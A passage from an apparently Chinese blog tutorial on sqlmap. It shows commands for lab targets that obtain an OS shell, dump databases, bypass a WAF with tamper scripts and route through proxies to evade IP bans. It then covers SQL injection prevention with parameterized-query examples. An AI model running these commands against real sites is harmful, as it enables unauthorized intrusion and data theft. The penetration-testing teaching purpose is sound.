使用--level参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用–level来提高测试等级。--os-shell这个参数使用之前必须确保网站的mysql允许文件读写的路径不为NULL,登录你的mysqlmysql>show global variables like "secure_file_priv";解决办法在mysql目录中找到my.ini,添加如下内容,然后重启mysql重启之后这里我们假设已经知道了网站的目录为:E:phpstudy_proWWWsqliLess-2sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --os-shell尝试执行命令,执行成功--web-root指定网站目录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --web-root='E:phpstudy_proWWWsqliLess-2' --os-shell这样我们就不用在交互式选项中输入网站路径了,直接得到shell安全狗WAF绕过网站使用的是sqli靶场进行测试http://192.168.209.131/Less-2/?id=1%27%20and%201=1安全狗waf环境,payload示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --level 5 --random-agent --flush-session --dump提示我们有waf拦截--identify-waf 识别waf,貌似不能用了sqlmap自带的WAF绕过--skip-waf脚本使用,将脚本传入到这个路径bypassDog2.py(攻击脚本具有危害性,作者不予提供,以下仅供参考,也可以使用kali自带的sqlmap攻击脚本进行测试)/usr/share/sqlmap/tamper/指定脚本--tamper "bypassDog.py"一个完整sqlmap使用脚本示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump当然,如果网站使用了ip封禁机制,可以使用代理或者代理池sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --proxy='http://xxx.xxx.xxx.xxx:端口号' --dumpsql注入的预防1. 使用参数化查询(Prepared Statements)参数化查询是预防SQL注入的最有效方法之一。通过将SQL代码和查询参数分开,可以防止恶意SQL代码的执行。大多数现代数据库接口都支持参数化查询。示例(Python 使用 psycopg2 连接 PostgreSQL):import psycopg2 # 连接数据库 conn = psycopg2.connect("dbname=test user=postgres") cur = conn.cursor() # 使用参数化查询 user_input = "O'Reilly" # 尝试注入的输入 cur.execute("SELECT * FROM users WHERE username = %s", (user_input,)) rows = cur.fetchall() for row in rows: print(row) cur.close() conn.close()示例(PHP 使用 PDO):<?php $host = '127.0.0.1'; $db = 'test'; $user = 'root'; $pass = ''; $charset = 'utf8mb4'; $dsn = "mysql:host=$host;dbname=$db;charset=$charset"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]; try { $pdo = new PDO($dsn, $user, $pass, $options); $user_input = "O'Reilly"; // 尝试注入的输入 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $user_input]); $result = $stmt->fetchAll(); print_r($result); } catch (PDOException $e) { throw new PDOException($e->getMessage(), (int)$e->getCode()); } ?>2. 使用ORM(对象关系映射)ORM框架如Hibernate、Django ORM等,内部实现了参数化查询,从而自动防止SQL注入。使用ORM可以简化数据库操作,同时提高安全性。示例(Django ORM):from myapp.models import User user_input = "O'Reilly" # 尝试注入的输入 users = User.objects.filter(username=user_input) for user in users: print(user.username)3. 严格限制数据库权限确保数据库用户只拥有执行其所需操作的最小权限集。例如,一个Web应用程序的用户数据库账户可能只需要对特定表的SELECT和UPDATE权限,而不需要对数据库的DROP或ALTER权限。4. 使用Web应用防火墙(WAF)部署Web应用防火墙可以检测和阻止SQL注入攻击。WAF可以识别并拦截包含潜在恶意SQL代码的HTTP请求。5. 输入验证虽然输入验证不是防止SQL注入的可靠方法(因为它可能无法覆盖所有可能的注入场景),但它可以作为额外的安全层。验证所有用户输入,确保它们符合预期的格式和类型。总结通过本文的学习,读者不仅掌握了sqlmap的基本使用方法,还深入了解了其高级特性和绕过技巧。从目标URL的指定、请求参数的配置,到注入技术的选择、数据库信息的枚举,再到操作系统命令的执行,sqlmap展现出了其作为渗透测试工具的强大功能和灵活性。在实际应用中,sqlmap能够帮助安全研究人员和渗透测试人员快速发现Web应用程序中的SQL注入漏洞,并通过进一步的枚举和分析,揭示潜在的安全风险。同时,通过合理的配置和技巧应用,sqlmap还能有效绕过WAF等安全防护措施,提高渗透测试的成功率。然而,值得注意的是,sqlmap作为一款强大的渗透测试工具,其使用必须遵守法律法规和道德规范。未经授权的渗透测试可能构成非法行为,因此在使用sqlmap进行渗透测试时,务必确保已获得合法授权,并遵守相关安全政策和标准。总之,sqlmap是安全研究和渗透测试中不可或缺的工具之一。通过本文的学习,读者不仅能够掌握其基本和高级用法,还能在实际操作中灵活运用,提高渗透测试的效率与成功率,为Web应用程序的安全防护贡献力量。文章参考:https://blog.csdn.net/weixin_43819747/article/details/136736688https://blog.csdn.net/qq_45927266/article/details/119297840原文:https://mp.weixin.qq.com/s/j6lN3j7rtALUX4gAH5ll3Q
2025年05月18日
701 阅读
0 评论
0 点赞
1
2